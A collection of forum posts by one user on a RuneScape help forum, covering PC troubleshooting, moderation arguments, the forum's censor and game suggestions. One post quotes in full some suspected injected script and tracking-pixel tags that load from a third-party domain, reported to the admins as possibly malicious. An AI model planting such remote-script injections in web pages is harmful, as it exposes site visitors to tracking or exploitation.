D. V. Devnull

Not difficult? I think that's some of the worst sarcasm I've ever heard. LOL! :XD: Shall I make a post in this thread to demonstrate how annoying it can get, having seen what I've seen before and being worse than annoyed as well as finding it overly difficult to stick around long enough to finish reading? :blink: ~D. V. "Finding you extremely hard to believe right now..." Devnull

I hadn't looked at it quite that way, and hadn't realized the possibility of it being an abuse. Also, I do understand that the posts were never in violation of the rules. However, and not to be overly argumentative/annoying, I don't know of any other method in which posts with this problem can be handled rapidly except by sending it to the report queue. So, any ideas on what we, as lowly forum users, can do about this to help get these posts fixed? :mellow: ~D. V. "Stuck in the confused pile..." Devnull

oliboli1992, have you tried the IE7/IE8-compatible rendering modes? :huh: ~D. V. "Compatibility mode, perhaps?" Devnull

This has been happening since the first conversion from PhpBB2 to PhpBB3, and even into IPB. If you really want the extra returns gone, I would suggest that you report the post(s) in question. That way, the Mods/Admins of Tip.It Forums can get easy pointers to all the current ones that affect users and possibly do something about them. You aren't going to make them go through the forums like a trawler through an ocean, right? ;) ~Mr. D. V. "There's a reason for the 'Report Post' Button..." Devnull (p.s.: Wow... so many posts while I was typing this while distracted... lol...)

As it stands, it is possible to use the following... Intel P4 (Single Core) @ 2.4 GHz 2 GB (DDR 266) RAM ATI Radeon HD 4650 AGP Dual monitors @ 1024x768 resolution Windows XP FireFox 2.x-series Java 6 Update 6 Maxed RuneScape Graphics Settings ... and still get anywhere from 5-35 fps, only dependent upon polygon count and player traffic. Those specs of that newer system that you mentioned, Nifflin, should result in a near-gangbusters gameplay experience. Unless Jagex did something utterly stupid that causes RuneScape to not improve with extra CPU cores at hand, but I won't speculate on that. :? ~D. V. "In short, you should have a lot less lag... period." Devnull

What's your browser? Also, do you get any scrollbars to drag? :huh: ~D. V. "Always asking the diagnostic questions..." Devnull

Hello, Tip.It Crewbies... Read below, I've got some bad news for you... :( While heading to visit the Tip.It Front Page this morning, I ran into some cookies (which I denied manually) that shouldn't have shown up from "tongji.linezing.com"... I then checked my ABP list, and discovered multiple entries that shouldn't even be there. Very quickly, I flew to my "View Source" command, and found the following in the page... <script src="http://www.dual-boxing.com/clientscript/yui/animation/js.php" type="text/javascript"></script> <script type="text/javascript" src="http://js.tongji.linezing.com/2494801/tongji.js"></script> <img src="http://dt.tongji.linezing.com/tongji.do?unit_id=2494801&uv_id=19015599273809678862& uv_new=0&cna=&cg=&mid=&mmland=&ade=&adtm=&sttm=&cpa=&ss_id=1445423839&ss_no=6&ec=1& ref=http%3A//tip.it/runescape/%3Ftimes%3Dall&url=http%3A//tip.it/runescape/%3Ftimes%3D626& title=Tip.it%20RuneScape%20Help%20%3A%3A%20Tip.It%20Times%20%3A%3A%20 The%20Original%20RuneScape%20help%20site%21&charset=undefined&domain=tip.it& hashval=600&filtered=0&app=Netscape&agent=Mozilla/5.0%20%28Windows%3B%20U%3B %20Windows%20NT%205.1%3B%20en-US%3B%20rv%3A1.8.1.6%29%20Gecko/20070725 %20Firefox/2.0.0.6&color=32-bit&screen=1024x768&lg=en-us&je=1&fv=10.0%20r42& st=1308582258&vc=b9c1ad14&ut=0&url_id=0&cnu=0.9868762751287229" border="0" height="1" width="1"><noscript> <img src="http://img.tongji.linezing.com/2494801/tongji.gif"/></noscript> [Edit: Had to manually hand-chop this so it could display easily...] ...which was hiding amongst the page code for the Website Poll. Immediately upon seeing this, I then launched google searches on the domains in that snippet of page source that I saw. Now, it's not just bad enough that site who the cookies came from is all chinese, which makes it impossible to read. But, "js.tongji.linezing.com" is on the "ISC Diary | IE 0day exploit domains" listing, marking it as being potentially hazardous to computers to have anything load from it. You need to get that junk torn out of the website pages, and fast, before someone gets hit. :huh: As for me, I'm just glad I haven't been hit, and I've already placed ABP blocks against them so I won't in the future. (Firefox FTW, eh?) But I don't want anyone else falling victim, so that's why you're seeing this now. Please fix it quickly? :? ~Mr. D. V. "I shouldn't be seeing potentially dangerous junk in Tip.It's pages, right?!?!?" Devnull (p.s.: BTW, that was a VERY nice poll that you chose to put up there today. Already placed my vote this morning as well.)

Have you sent in a Bug Report to Jagex at the RuneScape website? It is looking more and more like the problem is theirs. :huh: ~D. V. "This might not be your fault..." Devnull

Logdotzip, do you have any issues when you set RuneScape's AA to 2x? I don't know for sure, but knowing this might help point to where the fault is. :-k ~D. V. "Maybe you can get some partial smoothing?" Devnull

Yeah! That's the best way to prove your point! Ignore everyone who disagrees with you! Only because they've passed my "trouble vs. anger" quotient. Also, if you notice from my updated post back there, that signature only contains half of my thoughts. Right now, I'm too tired to care about retouching it, plus the reply to you happened to be an afterthought. :| In that case, you contradicted yourself by saying that gaining too much exp means you can't moderate effectively and then by saying that it doesn't matter how much exp you gain in relativity to moderation. That all depends on the tilt at which you, them, and/or anyone takes my posts. Again, the "whole paragraph" thing applies, as I'll note that I was dropping in a little personal opinion while making the point. ;) ~D. V. "Quotients... Tilts... Oi!" Devnull (p.s.: If it helps, take note of the funny little "Warning" item in my global forum siggy. BTW, Last_to_Kn0w, I gotta credit you on staying far less inflammatory than Bows does. I won't ask though what promise to tripsis you just broke, as I'm pretty sure I didn't want to know.)

What you tried to point out as being wrong, is something that you actually mis-read, and that's why it happened to be such an awful idea. Heck, if that's simply not clear enough, I'll be flat-ignoring any further posts from you to this specific thread via "Common Sense". It's something that comes with age, and isn't actually built into these forums, but allows thread-specific ignores without having to set more permanent settings. Really handy for me, ha ha... :shades: EDIT: As for this... I fail to see where you put the "don't always" part <<<snip>>> Again, you have to read through the whole post. Especially whole paragraphs, because if you don't, then you end up firing a bad return post at just a single segment. It isn't a matter of being a problem to disagree with an opinion, it's actually a matter of disagreeing with a single part without taking the rest into account. <_< ~D. V. "Don't want to read properly? I'll just bypass your posts!" Devnull (Late post edit caused by an intermittent post...)

@ Bows -- I think Laikrob covered the other half of what I might have had to say to you quite well. Heck, I signed it in my hand-signature of my previous post, now that I recall! Put simply, my point earlier was that a person's RS Exp. gains don't always correlate to what their true ability to admin/mod a forum will be. Like Laikrob said, "one doesn't necessarily exclude the other"... :huh: BTW, did you miss the "at least in my personal opinion" part of what I said? Did you really try to treat my thoughts like I was stating more than just my opinions? If so, bad idea, dude... <_< ~D. V. "How hard is it to get a point across to someone, really?" Devnull

Agreed. I don't know what I was thinking when I typed out that post earlier, now that I've re-read the whole thread. #-o It's just really mind-boggling though how only certain parts are working. Further, it's odd how they come and go, as well as how they work off and on. I'm almost beginning to think it's time to ask for an HJT Log, because I'm bonking my head on the wall trying to figure out what's going on. :wall: ~D. V. "Argh... *facepalm* ... this one's messing with my head." Devnull

('img' changed to 'url' to minimize load time...) Aw dangit! You beat me to the punch! :( ~D. V. "I'm too late!" Devnull

ZokiRS, have you checked your Hosts file? I would like to think there isn't something about runescape in there, but it might be a good idea to check, just in case someone/something messed with it. :( ~D. V. "I'm thinking this isn't going to be a usual culprit..." Devnull (p.s.: Don't even get me started with worst-case scenarios yet... I'm trying to not think about them...)

Is that XP increases? I think he's trying to imply xp increases equal one's ability to be a good admin. :wall: Jimmy is too beast to need xp increases for that. :^_^: In addition to what Jaffy1 said, gaining 19m xp in a month takes away too much time to be able to help admin a forum properly, at least in my personal opinion. Heck, I've been thinking of joining staff here and there, and I only make +20k xp/month at the outside normally. On the flipside, I've helped moderate/admin at least 3 or 4 other forums I've been at in the past, and I've always done a proper job each time. I'm seriously not trying to boast here or anything, but I am just trying to assist in making the point that RuneScape Skill Exp. gains do not auto-equivocate into better admin capabilities. :huh: ~D. V. "More RS Exp ≠ Better Admin Ability" Devnull

Isn't that actually "hs_err_pid<number>.log"??? :blink: BTW, I can tell you that I've found some of mine floating around the install directory for Logitech's Setpoint Software, just to name one of several places. So it is very likely that dire1 will need to run a full search of their hard disks. :( ~D. V. "Yes, it's a lot more messy than I like to think about." Devnull

I'll second that, and I hope someone hasn't messed with ZokiRS's LAN Router. IMO, ZokiRS needs to clear their browser cache without their browser being fully up and running. If that doesn't work, then we'll need a full list of system specs and an HJT Log, just to name a few pieces of information that might help determine what's gone wrong. Heck, if and when ZokiRS reads this, I would like to know if anything has changed in their LAN Router. :-k ~D. V. "So many options, so many questions to ask..." Devnull

How about flat banning w99 as well from being a valid snipe zone for this? Such a change would make it fair to us poor F2P'ers. :huh: ~D. V. "No W99! Help F2P!" Devnull (p.s.: Yes, I'll admit this is a bit of a sarcastic joke, so no flames please.)

Because changing what its censored to is still not solving the root problem but to solve the root problem would endanger the community. There exists suitable workarounds that, at most, add 30 extra seconds to your posting time. The world will not collapse and fall in that time. The risks outweigh the benefits and I strongly disagree with removing .exe from the censor. I also disagree with removing the censor on them, Kimberly, but that's not the point here! What I'm getting at is that my idea mitigates some of the annoyance caused by the root problem. Heck, if you view my idea versus the current censor in a proportional font, you'll find that my idea shortens the display length considerably. However, it still makes the point it was meant to. Hey, can you say "Less annoying because it's shorter.", instead of going around proverbially 'throwing out the baby with the bathwater'? :geek: Honestly, I personally don't find the root problem to be that much of a problem at all. Heck, I've put up with it for just about as long as I've known of the existence (a few years now) of HiJackThis, and I really don't find it that much of a freaking problem at all! (Well, at least I didn't until this thread stuck its' forbidden -- in my opinion -- nose out of the ground at me.) I'm just trying to help find some kind of middle ground that the Admins can quickly set in place for a while until a better solution can be designed. Again, which would you rather have, less annoying or very annoying? Personally, I prefer the idea of less annoying. :idea: That, and Dick, because "Former Vice President [bleep] Cheney" just looks funny. I see what they did there, dsavi. Good ol' decreased browser fonts FTW. :thumbsup: Not something I'll actually do, though. Shame on them for doing it. :shame: ~D. V. "Bloody censor issues..." Devnull

Everyone, why not just simplify things, and change... [Caution: Executable File] ...to... [block: Exec. File] ...in order to cut down the length of the censor text and make it far less annoying? I would personally support a change like that myself. :thumbsup: ~D. V. "Why not shrink the censor length?" Devnull

of cores it can be removed without a 404 image, at least they could change it to an other image. Horrible spelling, I see. LOL :XD: Yeah, sure, they could change the image. Maybe to something crazy, like "Bugsby's Expressive Single Digit", which would be downright ridiculous. But, the retroactive damage would be insane. Further, as Das said, people will still be irritating no matter what's put there. So it wouldn't really help to change it. :boohoo: Anyway, your two posts above, the post-that-will-likely-be-zapped just after, and my post are all beside the point. Thread died with Saradomin_Mage, and the two of you have just necro'd it into an off-topic lunacy, as well as drawn an equally looney post with a comic reference from me. Hell, pardon me while I sign this final thought below in all caps. :-w ~D. V. "CAN WE LET THE THREAD DIE NOW?" Devnull [Edit by author to cover a post that was sneaked in while this one was being typed...]

Same thing happened to me with a suggestion thread or two regarding other things. (I'm not going to say what because the one I do remember would be flamebait material, and the other one I can't remember.) I've totally given up on suggesting anything on the RSOF due to it. Can't blame you either for feeling the way you are. :( ~D. V. "Suggesting on the RSOF is depressing..." Devnull

Before I go any further, I should note that I support both ideas... :thumbsup: Now, on to the more involved technical stuff, section-marked by a list number... Instead of creating multiple chunk sizes, Jagex could instead just load more of the same size chunks at the same time into the Applet running in RAM. Heck, they could even background stream them and rig rendering connections so that you don't end up waiting for another loading screen ever. There's no need for even starting at low resolution and fading/detailing them into view. They could just stay behind the fog while they're still being set up and/or out-of-range, and already be at full quality once they're in-range. :D If we're going to have something like this, then I would suggest having some transparency controls to go with the on/off option, as well as some controls to change notification colors with. Further, Jagex needs to increase the chat/game message buffers and allow chat messages to transition between in-game and in-lobby, so that people aren't having their conversations punctuated with the disruptions caused by losing the chat history. Seriously, there's only 80 messages in the recent buffer, and you lose it all if you drop to the lobby? It's like "WTF?", seeing as things like split buffers are long-overdue! :angry: Good luck to both of these ideas happening. They're a seriously long time in the coming. :) ~Mr. D. V. "So much to add to all of this... but I SUPPORT anyway!" Devnull

Well done on moving up, Jimmy_Jim! :thumbsup: ~D. V. "Nice, JJ!" Devnull